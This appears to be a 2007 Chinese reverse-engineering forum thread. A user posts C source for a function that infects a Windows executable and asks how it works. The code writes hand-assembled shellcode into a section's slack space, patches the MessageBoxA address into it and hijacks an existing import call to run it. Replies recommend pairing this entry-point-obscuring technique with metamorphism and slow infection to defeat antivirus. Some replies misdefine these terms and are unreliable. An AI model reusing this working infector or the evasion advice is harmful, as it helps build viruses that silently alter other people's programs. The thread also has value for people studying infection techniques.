首页
社区
课程
招聘
[求助]麻烦前辈看看这段代码讲下原理
发表于: 2007-4-19 15:13 7376

[求助]麻烦前辈看看这段代码讲下原理

2007-4-19 15:13
7376
/**************************************************************
* 函数:InjectCode
* 参数:char szHostFile[]--待感染的exe文件路径

* 功能:感染一个exe程序,运行显示“金猪拜年”的MessageBox
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
        PIMAGE_DOS_HEADER pImageDosHeader ;
        PIMAGE_NT_HEADERS pImageNtHeaders ;
        PIMAGE_SECTION_HEADER pImageSectionHeader;
        unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                            "\xC4\xEA\x00";
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    //DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    //DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                        
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
        return -1 ;
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
        return -1 ;
   
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
            
            if (sizeof(thunkcode)>dwGapSize)
                goto Close ;
               
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
            
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改为当前系统的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
            
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
            
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                        
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
            
        }
    }

Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}

上面注释写的清楚,是给一个可执行文件加段显示“金猪拜年”的MessageBox,不明白,抓不住思路,请高手帮忙讲下流程和原理,谢谢了,不知道“金猪拜年”的MessageBox是怎么插入的,还有unsigned char thunkcode[]里面定义的是什么意思啊?看不懂,在PE什么段里插代码??

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (12)
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
2
EPO和PE,自己找
2007-4-19 16:47
0
雪    币: 263
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
PE还是了解点,主要就是下面的那些东西一点都摸不着头绪,原来是EPO技术,我好好找找EPO的资料学习下,谢谢楼上的,呵呵
顺便问下,感染型病毒是不是大多数都用EPO技术比较好啊?还有用其它技术的么?
2007-4-19 18:21
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
4
EPO+变形+慢速

杀毒软件基本就拿你没办法了
2007-4-19 19:15
0
雪    币: 218
活跃值: (42)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
慢速是啥意思   雄哥给讲讲
2007-4-19 22:09
0
雪    币: 263
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
是啊,什么是慢速,麻烦前辈讲讲
2007-4-21 14:13
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
就是让系统速度变慢
2007-4-21 17:13
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
8
慢速不是让系统变慢。。。翻译版,多态变形技术的翻译文章中,有提到的

慢速是一种对应杀毒软件的策略,而不是技术
2007-4-21 19:47
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
对对 就是慢慢的查找杀毒软件然后慢慢的 一点点的 对付他 太快了容易失败
2007-4-21 21:25
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
10
thunk你用winhex保存出来,再用w32dasm反汇编看看就知道了
2007-4-21 21:31
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
版主,您好,

能解释下这3个都是什么意思吗

我菜鸟,不理解,谢谢
2007-4-22 07:52
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
EPO =  花指令

变形  就是dll变exe exe变jpg之类 迷惑作用

慢速就是改变优先级+多线程 然后系统就变慢  杀毒软件就挂了
2007-4-22 11:20
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
谢谢~

学习了!
2007-4-23 08:48
0
游客
登录 | 注册 方可回帖
返回
//